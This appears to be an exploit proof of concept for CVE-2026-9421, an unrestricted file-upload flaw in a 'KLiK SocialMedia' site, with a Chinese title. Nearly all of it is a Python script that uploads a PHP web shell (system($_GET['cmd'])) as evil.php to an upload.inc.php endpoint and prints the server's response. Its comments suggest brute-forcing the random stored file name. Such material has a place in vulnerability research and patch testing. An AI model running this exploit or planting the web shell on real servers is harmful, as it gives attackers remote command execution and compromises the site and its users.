CVE-2026-9421 KLiK SocialMedia网站任意文件上传漏洞

import requests # Target URL (Vulnerable endpoint) target_url = "http://example.com/upload.inc.php" # Malicious PHP payload php_payload = "<?php system($_GET['cmd']); ?>" # Construct the multipart form data # The vulnerability allows unrestricted upload, so we send a .php file files = { 'file': ('evil.php', php_payload, 'application/octet-stream') } try: response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] File uploaded successfully.") # Assuming the file is accessible via a predictable path or returned in response # Based on uniqid, the name is random, so directory listing or brute force might be needed print("[+] Response from server:", response.text) else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")